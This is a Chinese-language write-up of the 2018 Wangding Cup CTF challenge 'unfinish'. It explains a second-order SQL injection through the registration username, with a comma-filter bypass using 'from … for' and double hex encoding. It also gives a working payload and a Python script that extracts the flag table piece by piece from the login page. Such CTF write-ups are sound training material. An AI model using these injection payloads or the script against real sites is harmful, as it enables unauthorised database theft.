网鼎杯 2018 unfinish

前言

又是一道SQL注入的题目,只能说自己还是太菜。。会的知识太少,

WP

进入环境,用dirsearch扫一下,发现有index.php,login.php,register.php。
经过很多的尝试,最终发现这是一个二次注入的题目,注入点是在register.php传入的username中。

接下来就是如何注入了。我一开始考虑报错注入,但是发现不成功。经过尝试,发现过滤了逗号。这就意味了不能进行报错注入,而且不能通过闭合INSERT后面的(A,B,C)来实现注入。
这里我尝试进行union注入,但是过滤了逗号,用join后,后面的单引号没法闭合,还是没法成功。

考虑用时间注入,觉得可行,用case when ,then来绕过。但是感觉太麻烦了。
后来看了WP,才发现自己SQL学的还是太差,还有很多的新姿势没有掌握。

我们可以看这样的语句:
网鼎杯 2018 unfinish_第1张图片
如果用了hex:
网鼎杯 2018 unfinish_第2张图片
这样’test’字符串的十六进制就会成功显示出来

但是还有个问题:
网鼎杯 2018 unfinish_第3张图片
flag的十六进制里存在字母。如果让它和’0’相加的话:
网鼎杯 2018 unfinish_第4张图片
会存在截断的问题,所以我们应该二次hex:
网鼎杯 2018 unfinish_第5张图片
让最后的结果全是数字,这样就不存在截断的问题了。
但是还有问题。如果结果超过10位的话,会转成科学计数法,导致丢失数据。因此要用substr来截:
网鼎杯 2018 unfinish_第6张图片
因为这题过滤了逗号,所以要用from for来绕过。
还有一个问题,就是我们再尝试注入的时候发现information被过滤了。因此必须猜测表名是flag。注入的语句是select * from flag。
注入的姿势如下:


email=2@1&username=0'%2Bsubstr((select hex(hex(database()))) from 1 for 10)%2B'0&password=1

因为+可能会被识别成空格,因此用%2B。
还有就是,不仅仅是+,用异或也可以实现:
网鼎杯 2018 unfinish_第7张图片
网鼎杯 2018 unfinish_第8张图片
姿势和+是一样的。
然后拿脚本跑,我写的脚本如下:

import requests

login_url='http://220.249.52.133:39445/login.php'
register_url='http://220.249.52.133:39445/register.php'
content=''
for i in range(1,20):
    data_register={
     'email':'15@%d'%i,'username':"0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0"%i,'password':'1'}
    #print(data)
    data_login={
     'email':'15@%d'%i,'password':'1'}
    requests.post(register_url,data=data_register)
    rr=requests.post(login_url,data=data_login)
    rr.encoding='utf-8'
    r=rr.text
    location=r.find('user-name')
    cont=r[location+17:location+42].strip()
    content+=cont
    print(cont)
#content=content.decode('hex').decode('hex')
print(content)


因为没学过爬虫,最后的判断有点粗糙而且数据多出来一些无关的。
把最后返回的十六进制进行两次hex解密就可以得到flag了。

反思

做了这么多题的SQL注入,发现自己每次做不出来,要么是姿势不会,要么就是知识点不清楚。还是学的不深,不细致的问题。还是要好好学习!

你可能感兴趣的:(SQL注入,php,信息安全,sql,SQL注入)